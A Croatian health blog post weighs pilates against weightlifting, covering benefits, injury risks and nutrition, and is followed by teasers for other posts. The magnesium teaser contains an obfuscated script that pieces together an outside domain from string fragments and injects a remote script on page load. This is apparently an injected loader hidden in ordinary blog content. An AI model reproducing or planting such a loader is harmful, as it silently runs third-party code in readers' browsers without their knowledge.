PILATES ILI DIZANJE UTEGA - ŠTO JE BOLJE ZA ZDRAVLJE I FORMU?




Pilates ili dizanje utega - što je bolje za zdravlje i formu?




Pilates je već godinama veoma popularan izbor treninga, tik uz trening s utezima. No postavlja se pitanje: što je zapravo bolje – pilates ili dizanje utega? Odgovor nije univerzalan jer sve ovisi o ciljevima, fizičkoj spremi i životnom stilu. Uz to, stručnjaci ističu da je najvažnije biti aktivan, bez obzira na vrstu treninga, jer je fizička aktivnost dobra je za tijelo i zdravlje.




Prednosti i manje: dizanje utega

Trening snage, unatoč brojnim stereotipovima, nije rezerviran samo za bodybuildere.

Štoviše, dizanje utega donosi brojne zdravstvene koristi pa tako povećava mišićnu masu i snagu, ubrzava metabolizam, pomaže u kontroli tjelesne težine, jača kardiovaskularni sustav
te pozitivno djeluje na mentalno zdravlje i samopouzdanje.

No kao i svaki oblik vježbanja, trening s opterećenjem ima određene rizike, kao što su mogućnost ozljeda zbog loše tehnike, prekomjeran trening, opsesivan odnos prema izgledu i prehrani te
povećan fizički stres na tijelo.

Stručnjaci naglašavaju da su pravilna tehnika, zagrijavanje i istezanje ključni za prevenciju ozljeda.




Prednosti i mane: pilates

Pilates je drugačiji oblik treninga koji naglasak stavlja na kontrolu pokreta, stabilnost i povezanost tijela i uma.

Za razliku od treninga s utezima, pilates koristi manje opterećenje i više ponavljanja, često koristeći samo težinu tijela, a može se izvoditi na prostirci ili uz pomoć reformer sprava.

Pilates donosi niz benefita za tijelo, kao što je jačanje mišića trupa, ali i poboljšava držanje, povećava fleksibilnost i mobilnost, stabilizira kralježnicu i kukove, smanjuje bolove u leđima i zglobovima te poboljšava ravnotežu i koordinaciju.

Iako je odličan trening, pilates nije idealan kao jedini oblik fizičke aktivnosti. Ako vam je cilj značajan gubitak kilograma, povećanje mišićne mase i razvoj snage, tada ćete vjerojatno trebati kombinirati pilates s kardio treningom ili treningom snage.




Jedna stvar je ključna bez obzira na vrstu treninga

Bez obzira trenirate li pilates ili dižete utege, pravilna prehrana ključna je za rezultate i zdravlje.

Stručnjaci preporučuju unos proteina nakon treninga za oporavak mišića, ugljikohidrate za brzu energiju, zdrave masti za dugotrajnu energiju i dovoljno tekućine tijekom dana.

A što se tiče pitanja što je bolje – pilates ili dizanje utega, ponavljamo da ne postoji univerzalno bolji izbor.

Ako želite povećati snagu i mišićnu masu, trening s utezima je bolji izbor. Međutim, ako želite poboljšati mobilnost, stabilnost i držanje, pilates može biti bolji izbor.

Najbolji rezultati često dolaze kombinacijom oba treninga, no najvažnije je pronaći aktivnost koja vam odgovara i koju možete dugoročno održavati.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više